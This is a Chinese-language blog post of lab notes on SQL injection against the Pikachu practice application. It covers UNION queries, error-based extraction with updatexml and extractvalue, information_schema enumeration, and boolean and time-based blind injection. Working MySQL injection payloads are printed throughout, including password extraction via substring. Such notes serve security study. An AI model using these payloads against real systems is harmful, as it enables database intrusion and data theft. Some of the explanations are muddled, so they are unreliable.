banner
Hi my new friend!

pikachu_sqli

Scroll down

union 注入

必须满足后一个select的结果和前一个的列名相同, 如果后面的没有前面多, 必须通过数字来补齐

1
2
3
select * from member 
union
select id,content,time,4,5,6,7 from message

也可以通过注入语句

1
你好' union select database(),version #

不一定需要特定的表,可以直接执行

updatexml()

此部分为mysql的特性

updatexml()extractvalue()有一样的作用

EXTRACTVALUE 函数用于从 XML 文档中提取指定 XPath 表达式所匹配的值。它主要用于读取 XML 数据中的特定部分,是一个只读操作,不会对 XML 数据本身进行修改。

UPDATEXML 函数用于更新 XML 文档中指定 XPath 表达式所匹配的节点的值。它可以修改 XML 数据,属于写操作。

注意后面要使用注释#

格式为updatexml(xml内容,xml路径,xml更新后的内容),原理是通过让这个xml路径不复合规范报错带出数据实际使用的时候这个xml路径可以结合

extractvalue(xml内容,xml路径)只做查询不做修改

实际使用的时候会使用concat()将需要的部分保存在两个一定不能通过校验的符号中(如何让全部的数据都校验失败呢),否则会被当作字符串逐个校验直到发现无法校验的.就会导致外带出来的东西不全面

1
2
updatexml(1,concat(0x7e,version(),0x7e),1)   updatexml 默认三个参数,但是两个参数也可以
extractvalue(1,concat(0x7e,version(),0x7e)) extractvalue 只需要两个参数

实际上在这里面0x7e表示的是符号~,其他十六进制符号也可以

如果是updatexml(1,concat(1,version(),0x7e),1)回显出来的就会是XPATH syntax error: '.26~'

如果是updatexml(1,concat(0x7e,version(),0x7e),1),回显出来的就是XPATH syntax error: '~5.7.26~',这是由于浮点数只能有一个小数点,再来一个就不合法了

使用'#',0x5e24之类的其实都可以

updatexml函数最多输出32个字节。这个时候md5解密是解不出来的,因为~的存在占据一位,密文只有31位,所以substring函数作用就出来了

1
updatexml(1,concat(0x7e,substring((select password from users limit 0,1), 32)),0)#

这个函数,一个是要截取的内容,一个是开始的位数substring(xx,yy)从yy位开始

也要考虑通过or来连接

1
zzzz' or updatexml(1,concat(0x7e,database()),0) or '

查询表名

1
select table_name from information_schema.tables where table_schema='pikachu' limit 2,1

information_schema是一个系统数据库表示数据库中的表就是infomation_schema.tables

limit n,m的参数是从n开始,查询m个值

盲注

数据库只能返回规定的东西而不能额外带出其他的数据,也就是不会返回报错信息的时候,可以按照其他方法来尝试注入

php使用mysql_query()来代替execute()不会打印错误回显

回显盲注

会返回部分信息

  • 爆数据库长度

    1
    lucy' and length(database())=7 #

    必须要#注释后面的内容

    原理是如果and后面的判断是错的,那么数据库就不会回显,如果是对的,那么就会正常返回lucy查询的内容

  • 爆数据库名

    1
    lucy' and left(database(),2)='pi' #

    还是原来的道理, 可以先爆出数据库名字的长度在爆破数据库的具体名称,还是一样的,只有当数据库中第二个等式成立才会返回lucy查询的内容

时间盲注

啥都不返回的时候可以尝试使用

1
lucy' and if(database()='pikachu',sleep(10),sleep(0)) #

使用if(判断,true执行,false执行)语句来进行,本质是通过sleep()函数来达成目的,然后通过调换sleep()的时间,观察是否有区别,就可以判断是否存在事件注入

1
lucy' and if(database()='pikachu',sleep(0),sleep(10)) #

在这里length()left()也是一样可以拿来用

也可以使用substrsubstring来爆破数据库名

1
2
3
4
substr(String,startIndex,lenth): 第二个参数是截取字符串的长度(从起始点截取某个长度的字符串);

substring(String,startIndex, endIndex): 第二个参数是截取字符串最终的下标 (截取2个位置之间的字符串,‘含头不含尾’)。
若只写一个参数两者完全一样,都是截取从当前下标以后直到字符串最后的字符串片段。

example

1
2
3
4
5
String = 'abcdefghijklmn'
aa = substr(string,3,5)
bb = substring(string,3,5)
aa = 'cdefgh'
bb = 'cde'

与编程语言的区别就是mysql是从1开始的

sleep被过滤

其他文章
cover
hacktb_ctf流量分析
  • 25/04/09
  • 00:00
  • 打靶日记
cover
pikachu_xss注入
  • 25/03/17
  • 00:00
  • 打靶日记
目录导航 置顶
  1. 1. union 注入
  2. 2. updatexml()
  3. 3. 查询表名
  4. 4. 盲注
    1. 4.1. 回显盲注
    2. 4.2. 时间盲注
    3. 4.3. sleep被过滤
请输入关键词进行搜索